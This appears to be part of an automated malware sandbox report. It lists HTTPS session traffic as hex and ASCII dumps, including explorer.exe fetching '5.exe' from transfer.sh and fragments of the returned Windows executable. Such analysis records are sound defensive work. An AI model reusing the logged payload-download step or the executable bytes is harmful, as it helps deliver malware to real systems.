2022-01-14 03:59:48 UTC	3897	IN	Data Raw: de 20 d9 b6 f8 a6 19 14 04 d3 21 3e 89 33 99 41 0b e9 38 3a 83 2c e8 26 16 e9 11 ca 46 7a 9d b8 c1 c1 82 4d af a0 19 e9 f9 03 12 52 7b 3e 79 88 09 eb f7 5c ee 77 c8 8e e3 a7 94 e2 e5 95 17 61 61 cb ea 2f a5 68 be a5 93 3a 61 7a 6f ff 24 4a c1 67 00 f2 98 c0 48 34 e0 3b aa a0 21 78 81 6f 10 76 ba 24 ca f9 25 9b 5a ad d9 a3 4c da 9c 7b d2 44 cc 19 df 86 62 14 47 eb ab fd 8a 26 83 8f e6 4d a8 f3 59 e9 c6 19 94 25 40 65 d5 7f f8 44 52 ee 7d 37 54 09 58 eb 02 16 98 fc 78 91 ff f9 75 6a dc 22 9d d1 b4 cb 63 95 e8 68 79 d8 19 55 81 d4 79 f1 02 30 cf f9 7f cb fc ac 66 3e 44 1d 27 7b 4a ef d3 e6 61 8e 43 0d b9 06 69 28 9e 05 73 f4 ae f9 5f 10 74 95 08 fe b9 d4 c4 8f 5b 30 9f ba 7b 9f 68 08 09 26 f6 e0 ce c5 6e 2c b8 8b ef dc 28 b0 5b b2 2a f5 3b a2 c9 04 b0 ca dd Data Ascii: !>3A8:,&FzMR{>y\waa/h:azo$JgH4;!xov$%ZL{DbG&MY%@eDR}7TXxuj"chyUy0f>D'{JaCi(s_t[0{h&n,([*;
2022-01-14 03:59:48 UTC	3913	IN	Data Raw: f9 83 23 86 a4 d4 76 6d 93 48 2d 20 ea 86 25 08 db ff 03 ad 2b b9 43 c4 ae 70 5e cc 40 0c 2a d0 fd 82 01 6a 17 3b b5 24 25 0f 4f 57 ad 3a ff 0c d1 9e 97 cd 7f 94 9a f2 d8 ac b0 50 97 a4 41 3c 95 15 66 3c 94 e5 34 ac 2c 19 41 6d ec b0 d6 aa cf 15 5a 2a 05 33 f1 ee b0 06 c8 ad 70 b2 eb 3c 74 56 d4 df 86 9d 9a f6 68 59 70 2f 46 a8 2c 92 f9 6b 72 14 fc 4f df 74 92 5e 14 6f 87 70 f3 5b c4 fd f7 87 fd 4c 62 a6 45 b2 02 87 2f 1c 78 c5 b7 9a 84 cf 35 46 46 f2 0f d0 5b ec cd ad f3 25 de f8 7d 71 1a f1 83 3f 22 f2 ff 7b 6d 36 a8 5a 47 73 7a 16 0d 95 b4 01 9a fb db ee fc c8 b7 ab 3c 70 72 5c a0 25 a5 91 10 21 07 b1 73 4c 8c 05 cc a5 72 58 fa f2 bd d1 97 6a 33 03 33 b3 b6 54 25 1d ed 6e a3 06 5f 15 10 2c ea 9f 1a 18 44 51 53 97 88 88 a3 bf 7f 52 77 15 ff 4b ce 8c ea Data Ascii: #vmH- %+Cp^@j;$%OW:PA<f<4,AmZ3p<tVhYp/F,krOt^op[LbE/x5FF[%}q?"{m6ZGsz<pr\%!sLrXj33T%n_,DQSRwK
2022-01-14 03:59:48 UTC	3929	IN	Data Raw: a2 66 0e c5 2c 03 e4 1b 65 df a0 56 bc b2 4e f4 da e6 4f 0d 5f 11 ec d6 06 97 cc 86 59 8a f9 8b d4 b7 5e 7d fa da d8 fe ab d1 af 00 4b b8 ff 6e 3b d2 f5 b8 70 ad 2b 81 56 c6 96 b9 07 1c 10 94 8a db 60 bf d0 5f 40 1d 38 81 90 dd 60 30 87 a8 19 49 e8 f5 1e d5 de 2a b5 f4 0b a4 b7 1b 09 fd e4 a7 36 21 12 3b 0c d8 2a 88 80 b3 b7 e8 c8 44 b5 44 e4 e5 41 76 7a 36 a0 a0 41 75 9a cc a5 e5 5d ed a2 e5 38 61 68 1b 15 52 e7 95 f0 63 ee b5 6a a1 29 3d 47 17 7b 9d 2c 52 2a a1 b2 35 50 81 1e 99 a5 37 a8 0f f1 af da e1 e2 8c 99 3b 5f 00 a4 1e bf 57 6b 93 e8 78 95 f5 d7 72 91 db d4 87 93 cd 6d 14 45 34 3a c9 77 2a 63 9e f6 6a 9e 15 38 ac 86 24 a7 55 34 13 42 63 1e 2e c6 c0 71 2b 02 5f cc 93 49 6e cc e2 ac b9 cd 7d c5 73 05 4e d5 6d de 9d 86 b2 4f 15 3d c3 86 d8 24 9f 39 Data Ascii: f,eVNO_Y^}Kn;p+V`_@8`0I6!;DDAvz6Au]8ahRcj)=G{,R5P7;_WkxrmE4:wcj8$U4Bc.q+_In}sNmO=$9
2022-01-14 03:59:48 UTC	3945	IN	Data Raw: 24 30 85 ae 1a a2 67 54 92 e0 6f 78 2b 3f d9 46 64 40 5d 40 be 1c 75 f2 40 16 c1 ad 51 9b 54 c7 fe fb 01 5f 10 61 b5 4c 64 7d 74 f3 38 de 37 fc f3 18 50 00 b1 36 ab 0f 17 96 f4 61 4d 43 04 3c 7b e5 b1 cc 7a 2a d7 f1 81 29 98 bc 4c 4f ea 94 39 ac 5a a4 93 80 a5 ee 77 43 06 67 e6 4f b6 e2 c0 55 c5 ec 34 d3 73 82 4a b8 d8 46 eb 0f a9 06 58 d8 87 d9 6f 93 23 05 3d fb e9 6a b6 b6 22 fe c5 fc 92 0f 3e 46 c5 b0 b8 2d 90 9c ac 5e 82 5b d1 db 33 2c 81 06 94 ae 11 7d fe c3 e9 88 ff 51 1c 5e 90 93 95 2b e3 5a e2 ae f1 03 09 3c 00 6c 61 3a a9 63 b3 8e 3a 3f 63 8a 90 e3 47 8a e2 32 83 ad 0a 79 5a 0d ae f6 0f 2f 11 99 d8 64 53 df 7e 80 88 da f0 e1 d3 97 49 e2 18 6c fe 05 15 ca fc 42 07 55 81 e2 68 98 b9 bc b8 7c e5 62 83 07 9d 6a 7e 10 5a 98 21 76 33 fc f8 bc aa c8 47 Data Ascii: $0gTox+?Fd@]@u@QT_aLd}t87P6aMC<{z*)LO9ZwCgOU4sJFXo#=j">F-^[3,}Q^+Z<la:c:?cG2yZ/dS~IlBUh\|bj~Z!v3G
2022-01-14 03:59:48 UTC	3961	IN	Data Raw: 72 ac b7 2b 07 4a c3 a6 1b 89 08 84 2c fc d8 95 80 4e f5 ec a6 f6 85 75 c1 1f 01 6c c1 b1 49 ef 53 f5 b9 88 f2 5c a3 f3 49 9f b0 ee 42 c2 b7 38 9b be c4 be 47 09 67 b0 e6 b0 76 3e 24 b4 5c 9d 9b 76 6f 9a 5b 00 18 de 71 4b f9 33 d2 9b d5 e3 d5 d8 b4 da 0f 0a 1d d6 e2 39 df 93 b8 e8 36 d2 82 1c cf 0f e4 f4 a4 8e 6e 19 04 4d d0 51 ba a1 91 d4 0e 3e d8 02 ca 55 f4 1d 8f 52 95 bb ef 76 8e 82 7a a9 32 04 e8 6c 7d 46 51 e7 a9 39 ce 56 2d 67 76 3c 06 e2 6b a4 4c 39 aa b7 19 f7 db c4 c1 3a ee 7c 1c b3 b8 9a cb c6 41 3b 8f f3 21 64 3f 5c 6c be a3 1c 05 94 c8 fc 01 55 3b 92 9c 9e 66 44 7f ed 38 16 95 5a a4 ca ac 12 f0 31 25 2a 73 a3 ad 13 e1 ea 23 78 fc 85 fb fc e9 42 9f 61 40 ed 2e 94 fd 9e e1 02 5d d7 a9 a8 83 72 9b 20 d2 a1 e6 30 69 6c 08 50 e3 29 c8 95 d1 0e 0a Data Ascii: r+J,NulIS\IB8Ggv>$\vo[qK396nMQ>URvz2l}FQ9V-gv<kL9:\|A;!d?\lU;fD8Z1%*s#xBa@.]r 0ilP)
2022-01-14 03:59:48 UTC	3977	IN	Data Raw: f6 f0 8d ba 05 b6 58 6c e9 a7 8a 2f 3c 60 0e cd 83 e8 c4 1c e7 14 93 53 bb 19 bc ec aa c0 d2 2d 88 9d 99 62 84 54 c0 d1 22 cf a3 46 ec c9 3d 31 98 c5 07 24 62 51 c2 9c 05 ba 35 6e 4e 05 f0 8c bf 2f 1e 28 3e 6c 91 f2 8f 7a e9 87 62 1e 4e 8b 45 b7 5b 9f a5 9b a8 8c ac db 5d 45 b4 da 99 a6 7a ca 51 e1 40 f4 a2 3a 74 31 e9 f6 a9 59 62 15 58 10 54 38 a6 36 02 b9 72 cb 1a a4 4c ed 89 cc d2 8e 0f b9 48 f4 ba 7b 1c a6 d5 3f b3 2c ec 91 bd 30 88 5a a9 09 44 a7 a6 5c 51 a9 b7 42 67 f9 33 64 1b 5a 39 97 f6 d5 ee 9f 80 4c 4f 90 fb c2 88 ed 7c 98 8f 32 f4 2c 51 33 95 b2 c3 2b 43 88 0a 28 6c 54 e0 7b b9 ce 7a c3 a4 fc 52 c5 2c 04 69 12 ec da b8 51 67 92 ad 94 80 cd 22 28 01 43 c0 b7 fd 65 04 14 0d fc 50 e1 e6 c9 24 1b 30 a7 bb f1 80 76 cc 50 a1 97 d3 62 0f 3b e6 fe a4 Data Ascii: Xl/<`S-bT"F=1$bQ5nN/(>lzbNE[]EzQ@:t1YbXT86rLH{?,0ZD\QBg3dZ9LO\|2,Q3+C(lT{zR,iQg"(CeP$0vPb;
2022-01-14 03:59:48 UTC	3993	IN	Data Raw: 77 0b 33 62 be ec 62 68 89 4d bd 7e 2d b1 00 3e 44 1b f5 a4 03 d9 50 b1 33 95 bd d5 2d b9 11 f8 68 a6 ac 5a 22 66 ee 89 f1 4c 3b 30 9d 79 86 9d 3c f2 5b e3 33 b0 f0 a8 fa b9 27 6e f9 6f 41 bb 41 a2 a6 99 bb 5f 5e bd 0d ca f5 99 fc 3c e3 92 4c f4 87 b9 33 bd 84 e5 2e 4d b5 82 87 23 2b 25 64 ec 68 53 d7 61 52 da fc d4 fc 41 09 73 b5 d8 1e 4b 66 ba 4a 54 11 41 fd c8 fb 81 05 b3 15 da fc e4 8a 95 c3 5f 9b c3 b6 a4 4b fb f4 bd 8f 8d 5e 77 57 5a 1f ef 52 77 5c ce e5 c9 22 d6 97 74 39 6a ba 0f c3 f2 31 3a 79 46 ff ff fc b8 77 a0 8f 2e eb a7 cd 40 ca 14 03 2a 16 2f 92 3b df 42 b4 2b a6 13 9b c7 6f a4 6e b7 e8 05 14 3c 3f 3b d8 91 f1 3a d9 03 5b 2f ca 0c a5 de 2d f5 bb 99 b4 62 8c 66 0e 52 5c 79 49 e2 49 99 36 e6 e7 3b 05 64 57 fc df ff fa c6 67 29 f2 ca 18 96 c8 Data Ascii: w3bbhM~->DP3-hZ"fL;0y<[3'noAA_^<L3.M#+%dhSaRAsKfJTA_K^wWZRw\"t9j1:yFw.@*/;B+on<?;:[/-bfR\yII6;dWg)
2022-01-14 03:59:48 UTC	4009	IN	Data Raw: 8e 02 64 7d a5 76 13 c0 a8 7d bc 57 12 e9 62 eb 14 7d a0 c9 bd 41 6a 4b 00 bc bc 83 4a 49 9e 1d b0 9d b2 21 81 03 6f c0 43 6e 66 02 63 57 3b 29 9c ed 4c b2 27 26 ac 24 9f 88 8f a2 62 0c 0b 2a 28 a0 6f d0 ff dc 12 90 f3 51 33 68 af 01 56 ca 54 27 19 3c 95 9a 77 6c 42 12 e1 31 fa 45 4d 28 24 1f 23 97 c8 77 11 f1 75 09 60 89 e9 24 6a 21 a0 a4 48 ed 66 c4 91 1c e4 bb 72 b8 cf 55 d6 d1 ca 68 21 45 dd e9 67 29 73 4b f0 1e 0a 9a 32 f3 74 cc bb dc 9b 58 af 40 91 f4 08 3a 91 8e d1 c5 1e 5e 01 74 94 24 65 9e 25 ca d5 61 45 05 ef ee c4 61 77 3d 2e 45 5a fa 6d bf 4f 81 f2 ce 79 5d 93 8b 47 06 4c a7 75 15 bc 20 37 0f da 7f fd 54 6b 8e 42 f1 5d 8e a7 3b 48 8a 8e 23 1a e2 86 83 52 9c 28 f1 22 7f 73 01 1e 43 f4 4d fd 74 1e f3 97 0d 10 bc 92 18 95 58 76 0b 19 0f 02 7c 86 Data Ascii: d}v}Wb}AjKJI!oCnfcW;)L'&$b*(oQ3hVT'<wlB1EM($#wu`$j!HfrUh!Eg)sK2tX@:^t$e%aEaw=.EZmOy]GLu 7TkB];H#R("sCMtXv\|
2022-01-14 03:59:48 UTC	4025	IN	Data Raw: 30 df 3b fa 23 8c 73 17 b7 8d c3 54 35 15 20 32 10 da 43 fd 86 44 d0 89 32 6c 67 fe aa 29 68 c5 30 e8 ee 3f ab 7f 6b ae 04 32 d0 39 f9 72 c1 a2 68 6a 2b 79 67 bb 9f aa 58 e7 33 d1 1c 98 5b 04 b0 5f 63 88 11 33 af ab 08 aa 19 fb be 9f 94 89 f1 50 be 7f a1 b3 88 fc 4d c0 f0 d1 b1 22 df 8a cf 0e 36 3e 9a 54 f6 5b 50 dd 4d 99 82 0c 55 15 38 1d a1 9d a6 71 37 e5 a5 00 78 2d 2e c7 4b a6 d2 c5 97 f1 e0 62 58 24 83 52 78 64 5e d4 1c 94 d6 6b d8 54 a1 a9 29 64 30 91 ce b1 a8 96 77 2a 79 95 eb 76 0b 20 7b d2 6b c6 ff e7 c6 3b fb ea ba e2 26 b6 c9 44 c5 5b 9b 01 b3 c6 cb ce 32 44 73 16 db eb c9 3a 72 6d 0f eb 08 e1 d6 c9 28 60 05 5a 87 db da 3c 95 b5 c2 cf 7c 96 65 e5 ff ef 24 0b 58 0a 3c 36 88 4b 27 df 3c 44 79 e1 c2 c2 55 7c b5 5b 1c cd 9d 04 aa d9 ae 6a 18 63 1e Data Ascii: 0;#sT5 2CD2lg)h0?k29rhj+ygX3[_c3PM"6>T[PMU8q7x-.KbX$Rxd^kT)d0w*yv {k;&D[2Ds:rm(`Z<\|e$X<6K'<DyU\|[jc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49884	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 03:59:51 UTC	4030	OUT	GET /get/uq3XSe/5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 03:59:51 UTC	4030	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 03:59:51 GMT Content-Type: application/x-ms-dos-executable Content-Length: 3576320 Connection: close Content-Disposition: attachment; filename="5.exe" Retry-After: Fri, 14 Jan 2022 04:59:56 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1642132796 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders
2022-01-14 03:59:51 UTC	4031	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 fa 8b e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 53 00 00 04 00 00 bb 21 37 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa$@@S!7
2022-01-14 03:59:51 UTC	4046	IN	Data Raw: 5c 11 ac 72 40 cf b1 1f ec ab 46 b2 51 e6 ae 8d 43 98 27 86 e6 af 9b b0 a6 27 1c 35 90 95 c5 32 f0 09 fd ca c2 68 bd 21 95 5c bb 3d fa f2 09 8e 63 70 99 fd fe 66 6b a7 c9 47 2c 73 f5 bd 47 14 78 08 70 54 8b 71 85 77 ee 72 96 a5 98 b2 3c 1c c2 83 35 0e 58 5a e7 59 0c e3 12 71 12 6b 97 b5 a6 17 5f ce 4c 14 7c 15 4e c3 34 f9 f5 6a 65 c9 a4 1a 90 69 f5 3c d4 cd e9 3e 94 70 5d 06 98 ff d7 f9 b8 f7 8a f7 cf d4 41 15 1a 10 24 ec 44 4d 14 4e 9f ce 96 02 95 f1 e4 3b ad 3a d1 6c 04 de 64 a1 da 56 4a 42 4b 95 af 7d 1c dc df 5a 2f d5 ff 69 5d 8c 7d 3f 48 cd e2 f7 1e ed 02 6d a0 b6 a5 12 0f 84 e9 ff f9 5c 0a 8b b6 c6 e5 fb d8 af f0 52 85 2b b2 8a 2e 27 06 29 52 62 49 6a dc 1e ef 21 a0 c7 94 b5 c0 c3 ec a7 42 a1 2f 23 89 a4 53 63 b2 4d 6a 14 02 25 b3 c0 d0 ae cf e2 9a Data Ascii: \r@FQC''52h!\=cpfkG,sGxpTqwr<5XZYqk_L\|N4jei<>p]A$DMN;:ldVJBK}Z/i]}?Hm\R+.')RbIj!B/#ScMj%
2022-01-14 03:59:51 UTC	4062	IN	Data Raw: b3 79 b2 0c 50 d9 b1 6b 57 1e 38 e9 eb ba 2b 4d 27 df ca c2 ff d7 32 5d 8f cf 08 89 4e c8 a8 51 77 65 9a ac 24 aa e1 94 95 12 24 a9 79 48 85 50 8a 1f 8d f8 20 00 8c 0d 89 f7 96 4c 9e 32 d7 1e 1e 70 3e a0 71 b3 e0 0c 13 5d 06 05 36 b0 39 02 24 10 36 b1 1a 95 6d 5d 97 ac e6 ac 52 53 3e de 18 c6 1a 32 cb df 70 22 1e 26 7a da 90 f0 41 93 e5 6b ef 87 e1 66 74 b2 2e f9 cb 9a 25 af 1f cf b4 a9 40 2c 06 09 d9 6d 7d 5c 2d 6d 23 de c5 ed 87 b2 51 90 fd 25 af 7e 99 db 55 32 f6 da 96 ac 7e 8e 6d 2f 7b e8 db 77 7a c1 fb 52 2c 0f a0 0e b7 3a d4 67 91 05 23 d4 11 0a 8a 81 f4 05 a0 a8 f1 cc 0f 33 0d 8c 36 14 69 6f 8a 70 0b 4c 8d f4 88 2d d0 7c 75 6a 86 f8 c0 55 b8 21 da c2 d8 d6 84 f0 48 e3 0b fa 85 32 89 a0 cd cd 87 8f 77 7a cd 16 29 82 18 70 65 35 dd 57 50 c1 7b d3 08 Data Ascii: yPkW8+M'2]NQwe$$yHP L2p>q]69$6m]RS>2p"&zAkft.%@,m}\-m#Q%~U2~m/{wzR,:g#36iopL-\|ujU!H2wz)pe5WP{
2022-01-14 03:59:51 UTC	4078	IN	Data Raw: 88 28 67 60 8e d0 d7 0b fd d2 5e 6b a8 9d 4c 79 9d 37 5d 99 6f 5c a6 23 08 6e 53 c5 8e c6 95 a4 ef 00 57 85 22 40 d6 c7 e7 f3 61 70 0b 96 3c b6 43 18 9c 0c d1 a5 27 3e ee 33 6c bd 99 34 6d 4e ca ab 6e f7 30 4d 54 fc a2 67 71 a1 5e 85 67 ba 2a e1 17 91 50 be b9 7c 30 db f6 83 b3 86 9b 54 c9 d7 82 35 49 7b f6 47 e7 0e 0e 8a 96 c4 77 51 eb d9 58 44 4b 7f 45 86 30 42 94 50 4b 2c 0c 7c c9 6c 83 06 9b 4d eb 22 5f c3 a6 8a f1 60 9d 3d 28 a9 a7 cf c8 54 82 b1 45 77 3e 3d 10 bd c2 6f 29 66 f7 02 84 73 bd 94 b5 bb 3b 7c 23 b7 76 5a 84 6a 4b bc df ab e9 14 d8 66 63 a8 e8 d5 83 5a 3c 30 a2 20 d8 86 3f 0b 60 9a ed 85 04 18 25 1c 1e ab 13 a7 0f 85 83 f8 47 c3 76 77 64 0b b2 a2 61 53 f8 5c 73 5b 2a b2 97 25 77 08 24 0d 73 c5 0f d9 1a 89 5f 95 41 6d bc 46 2f 4b 35 18 11 Data Ascii: (g`^kLy7]o\#nSW"@ap<C'>3l4mNn0MTgq^gP\|0T5I{GwQXDKE0BPK,\|lM"_`=(TEw>=o)fs;\|#vZjKfcZ<0 ?`%GvwdaS\s[%w$s_AmF/K5
2022-01-14 03:59:51 UTC	4094	IN	Data Raw: f0 a9 77 8b 4a 6c 7f 46 f6 88 8d 6b 49 bc f9 3e 03 7b 3e de 42 b8 bf 53 22 c5 51 cf 69 aa 06 18 32 71 e1 5d 41 20 a6 82 bd fa 3d 34 4a e5 85 c7 64 6f 24 3e ca d8 28 17 e4 16 8b a6 73 5b 4b a4 9b 56 4e de 3c 91 8f 3d c1 21 00 93 fc 50 ee b3 9a b5 84 df ce 44 fb 4c 08 3b 52 64 17 d9 ea d6 51 39 d1 6b 0f 03 4f c9 d3 a5 ef 32 c9 5f b5 a6 c6 58 54 ab a9 ad c4 1f 09 59 f1 7d 25 a0 39 17 5b 78 79 c3 7d 7e 4d 52 26 41 12 2e 73 a8 0f c7 9a 32 14 66 28 7f 8b 10 e4 28 49 ae 80 44 bd 02 ea 7d bd ed b1 0c 89 1b 22 c5 10 d0 3d f0 b2 a6 f8 45 a6 f0 b5 42 c8 0b 2e f5 92 3c 17 97 42 7d 57 b4 36 91 a8 1f c6 63 b5 3e 13 94 5a 77 a5 56 a5 18 71 93 fa 9a c2 6e 1a 26 1d 6c d3 d9 66 31 be 82 4b 72 40 c9 5b 08 53 54 49 ed 50 b3 ae 97 d0 6f a9 61 b4 1e fd 93 53 3a 8c e0 ce 43 1b Data Ascii: wJlFkI>{>BS"Qi2q]A =4Jdo$>(s[KVN<=!PDL;RdQ9kO2_XTY}%9[xy}~MR&A.s2f((ID}"=EB.<B}W6c>ZwVqn&lf1Kr@[STIPoaS:C
2022-01-14 03:59:51 UTC	4110	IN	Data Raw: 1e 54 9d 7a 40 55 70 0d fe 41 fa 29 de 72 6c f5 79 cc ed 71 31 45 79 08 53 b2 f0 b6 c0 49 1a 02 93 bd 7d 02 45 08 6b 28 5d d1 98 a0 6a cf af c5 61 03 9d d4 d7 17 5a ed 65 ea af 6b dd 3e 6a 32 ee 64 f2 59 39 de d5 05 6a 55 f5 4c 82 e5 81 97 c9 31 9d 40 7d 3f aa 79 d2 0b f4 71 7f 07 79 7f ef 4a 6f 6c cf d4 90 27 b6 56 9f 61 2d 0e e4 21 f6 5b bf 80 b0 28 7b df c0 f1 63 f7 1e b6 3d c0 8b e2 9c c8 71 30 6e 6c b6 da 26 46 39 25 f1 79 87 4a fb 7b 99 56 95 44 b6 9f d5 c2 a3 69 ff ef 97 43 42 7b ef 00 3c 2e ca c6 33 2d c1 86 2f db 2d b2 b1 74 a4 d2 7f 01 7d 0e 57 c3 4f ce c6 13 41 c4 c5 72 5a 8b f4 3d a5 27 c5 23 a9 26 5b 7d d6 0a 5a c3 32 c5 3b 86 2d 8c fd 0d db 58 39 3f 45 12 3e d8 0d db 9a c6 ab a0 97 c1 8f 32 78 55 c3 b3 b0 e6 c5 f7 a1 04 6f 72 7a 45 3d 3c 46 Data Ascii: Tz@UpA)rlyq1EySI}Ek(]jaZek>j2dY9jUL1@}?yqyJol'Va-![({c=q0nl&F9%yJ{VDiCB{<.3-/-t}WOArZ='#&[}Z2;-X9?E>2xUorzE=<F
2022-01-14 03:59:51 UTC	4126	IN	Data Raw: 71 5d 06 b9 94 07 ba a1 64 6b 8c 37 e2 77 87 b2 d0 30 06 68 9c 8d 5f b4 b0 d0 c4 23 36 01 5c b8 eb 75 33 06 d5 57 9b 8a 20 8c e8 f8 d9 2e 20 3c 08 b3 06 18 2c 21 77 1b fd 8f a7 5d ca 75 92 c9 57 2e a9 a2 b1 09 00 56 70 96 25 3c 66 8a ec 3a 57 51 1e f8 94 12 2c ce a0 40 73 01 1c 3b 21 27 8c c6 71 20 8e 07 2f d1 13 71 3f 06 66 79 da 5f 07 f2 7e 50 a7 42 32 c5 ec a7 04 e1 bd a4 77 26 ba 99 06 6a 3b 1c 59 ee 75 e9 ac 17 45 be c7 8e c0 4e 32 4d e2 8d a9 67 b2 f4 53 45 f9 ab 64 eb d1 01 d9 02 6c d8 db 50 1e 8c a6 9a fe 0e 17 8e 1b 7f ac ac f5 81 35 1a c8 5d a9 df a4 a8 bd e3 09 65 2b 4a 51 30 c7 4c a4 98 b9 69 26 23 cb 51 e0 9e d6 72 5f d8 3a 19 a6 55 e6 53 3c b4 e7 70 18 19 76 1f 04 4d ae 3f 40 db 93 70 4b 0a 74 5e 48 57 37 1d d6 dd 2d 1d 35 10 98 fa f5 59 4a Data Ascii: q]dk7w0h_#6\u3W . <,!w]uW.Vp%<f:WQ,@s;!'q /q?fy_~PB2w&j;YuEN2MgSEdlP5]e+JQ0Li&#Qr_:US<pvM?@pKt^HW7-5YJ
2022-01-14 03:59:51 UTC	4142	IN	Data Raw: 99 df 9d a9 14 69 15 ec d4 d2 12 35 8c a3 22 d7 fc 4c 26 dd c9 12 ea 1b c0 c8 e2 d6 1a ef 6d c2 b1 ae 58 97 f3 4a da 62 39 a3 0a 02 0c f2 d2 e6 0c 35 6f 62 82 9c d1 ac 38 c4 de 2c 72 2a e1 4b 39 4b f4 e8 54 9d e6 47 b8 fe ad fe 89 eb c2 e0 b7 0f 6d d1 13 6e 1c b9 4c a3 d3 e6 ae 2f 0a c7 48 8c 08 a5 ed dd 4c 32 d4 65 8e 0e 45 74 c3 51 63 f1 3c ec 91 a7 c1 da 70 9c fa 28 38 f1 5b 56 bc 33 8f 06 dc ac 5f f9 85 94 14 91 50 ee 53 8b 32 86 c4 8a 62 11 bd 57 80 3b 6c 54 2f 51 cc bd 5f ac f9 da 1a ea 6d 8e 0c 10 ed 13 88 dd 63 d8 d5 cd 04 61 e3 a6 bf bf e9 6c ca 0e b2 d9 65 85 14 30 f3 f5 45 f6 70 02 dd 16 d7 40 87 49 9a 31 03 a8 d3 71 36 7f 35 b6 b7 05 9a 33 31 bf 05 a9 8a 9f 72 d6 8b 9c 1d ad 70 b5 10 06 f0 90 43 74 d6 3c ee 84 52 e4 b7 76 84 41 25 c0 0e 33 4e Data Ascii: i5"L&mXJb95ob8,r*K9KTGmnL/HL2eEtQc<p(8[V3_PS2bW;lT/Q_mcale0Ep@I1q6531rpCt<RvA%3N
2022-01-14 03:59:51 UTC	4158	IN	Data Raw: 90 cd bd 74 a9 e8 c1 b3 9a 52 b0 55 2a 06 32 59 81 60 4e 8c 68 8e bd cd 1e a6 e6 0e bd 2c 9a a9 ad 41 b1 18 7d b6 d1 ca b7 af e0 e0 06 01 4c de e6 a3 6a a9 50 e9 7b cd ce d6 bd d4 23 6e 26 e2 c5 2d 34 4b 8c d4 f2 56 a3 db a3 1b b1 44 19 9e 0a ce 8f e6 2a c0 bb df a3 f4 f0 1e 74 23 3f e4 2a 84 a3 28 55 95 09 26 ad 4f ff 1b 9e 46 7b a7 8e cc 45 10 5b 0e 38 a0 27 bf 13 93 7a 89 9f 31 43 af 7f 24 e1 b6 6d 0f 03 df 0f 1b 30 fb 52 4b d3 f9 69 7a b4 6b fe 09 26 43 1a 98 72 53 3d 55 70 00 44 38 cf 26 51 63 94 97 93 e2 a7 c0 2a 18 f4 c7 9d ab 72 d2 44 15 2f f3 f7 58 30 6c 45 34 fd 85 c7 ad 00 44 2a 62 c5 4b 05 d1 74 17 c2 e4 d7 0a f0 e4 11 4f ff 64 cd d3 5f 9f 36 f4 26 e1 55 af 08 10 5f 25 3e ed 1c 7c ed 82 a5 3e bd 51 10 1a 72 bd 15 63 a8 0e eb 35 59 62 79 29 c7 Data Ascii: tRU2Y`Nh,A}LjP{#n&-4KVDt#?(U&OF{E[8'z1C$m0RKizk&CrS=UpD8&QcrD/X0lE4D*bKtOd_6&U_%>\|>Qrc5Yby)
2022-01-14 03:59:51 UTC	4174	IN	Data Raw: d5 d8 47 45 ca 84 8c 87 55 6a f5 49 f2 99 f0 c8 e9 61 09 f9 f5 e6 fb e0 3b bb 66 1e 17 ae 13 a4 c8 e8 a9 54 c7 f7 6a 58 ca 32 17 bc e2 9f 48 ac 92 2b 33 b9 4f 0e c1 90 ab a1 c9 95 5f 51 41 b0 bf 8e 5e e2 59 5a 34 4e 64 24 2d af f5 9d 75 d2 14 b7 0d 9a a5 66 1b 12 8d 0c 0c 45 f4 ee a4 23 4c 92 79 f1 67 03 6f ca f3 37 95 e7 38 07 76 0f 55 5c 98 76 6e 04 b1 4e ae 75 6e 14 42 73 97 40 60 bf 6b 06 6d 9f d2 7a 28 3e b0 70 22 7e 11 f0 3a cd c1 52 19 28 79 25 13 16 0b 2f b1 72 0c d8 a3 ee af 2b ba cd aa dd 06 cf d8 4e 04 ca c7 20 aa 7f a2 4a 3e d5 91 c1 3c 54 ea e1 b5 2a 1f e4 77 7a ca a2 71 95 da 01 bc 89 76 5f 45 af a0 08 50 f1 0a 2d 50 e5 81 7f 39 c6 85 5a 2f e7 dc 65 41 40 2b d6 1a e5 8f 4b 9c 92 8c aa 4b 9f 06 e4 e6 af 22 3f a1 05 18 79 17 83 e3 cd f8 2b 34 Data Ascii: GEUjIa;fTjX2H+3O_QA^YZ4Nd$-ufE#Lygo78vU\vnNunBs@`kmz(>p"~:R(y%/r+N J><T*wzqv_EP-P9Z/eA@+KK"?y+4
